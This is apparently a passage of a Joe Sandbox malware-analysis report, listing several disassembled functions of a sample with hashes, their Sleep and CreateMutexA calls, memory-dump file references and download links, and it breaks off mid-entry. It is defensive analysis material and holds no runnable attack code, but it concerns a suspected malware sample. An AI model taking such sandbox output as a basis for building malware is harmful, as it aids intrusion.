Instruction ID: b4bbc94162152509065455c3454e170d07c182940d63ed0dba52c4751685fcb4
Opcode Fuzzy Hash: 03b57d0a48775bfcd4deae470064bb789245bdb08fb08487aa875f4e7b6a8b20
Instruction Fuzzy Hash: FB317B727402048BEB18DB78DD897EEB762EBD5310F20861DE018D72D2C7754984C712

Function 00A4A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 339d5a529a43ebc7a50df5fd70b249c6e565ee76cad95a27da018ff27947ba69
Instruction ID: 76c176c3d897e06064afb4ee93fe6560845b2a6d4b28a5534197dbc9a35d7c7c
Opcode Fuzzy Hash: 339d5a529a43ebc7a50df5fd70b249c6e565ee76cad95a27da018ff27947ba69
Instruction Fuzzy Hash: 733168717902049BEB18DB78CD89BADF762EBE6310F20821DE018D77D6C7769984CB12

Function 00A4A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 070c218e09f7320ecdee6630e62b32987c405e651f2bfde4aa6e0c95ae21930d
Instruction ID: 9ec46a31dd849cfff063b72d09ebb553551c404d6fd5ba2fd007c6ca6f0aa36c
Opcode Fuzzy Hash: 070c218e09f7320ecdee6630e62b32987c405e651f2bfde4aa6e0c95ae21930d
Instruction Fuzzy Hash: 3F3168717802409BEB18DBBCDD89BEDB762EBE6310F20821DE004973E1C77689848B12

Function 00A4A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 79b7f622d0078578f577b79df97f5beffd9eb722688cf71d0d13e406deba32ec
Instruction ID: 5d42988a18078c6ecfb277537a38334a0bf85be1c9d15cd370ec9da7b0de661c
Opcode Fuzzy Hash: 79b7f622d0078578f577b79df97f5beffd9eb722688cf71d0d13e406deba32ec
Instruction Fuzzy Hash: CC318A317802009BEB18DBB8DD8DBADF762EFE5310F248218E018DB7D6C7B549808B52

Function 00A4A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6c7e265641a6a2cf54524fa61bcd3442670e0c758b935a84891e51a6084f05e6
Instruction ID: dc975b14410f2540060d2ca344630deb2b849ea20376ef1707ee593418faba7d
Opcode Fuzzy Hash: 6c7e265641a6a2cf54524fa61bcd3442670e0c758b935a84891e51a6084f05e6
Instruction Fuzzy Hash: B3317B717812048BEB18DB78CD89BADF762EFE5314F24861DE408DB6D6C77989818B13

Function 00A4A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 902c5e1f556f4beee0fb9be9c8cac5ce4fe77d415478ac9f7787ddbe4505d0c7
Instruction ID: d2719715a64d30faf6e255f37cac0e69c89e291b3cb042a05689c8b4cba17c17
Opcode Fuzzy Hash: 902c5e1f556f4beee0fb9be9c8cac5ce4fe77d415478ac9f7787ddbe4505d0c7
Instruction Fuzzy Hash: D13168757802048BEB18DB78DD89BADF7B2EBE1310F24861DE018D76D2C77989808A52

Function 00A49ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
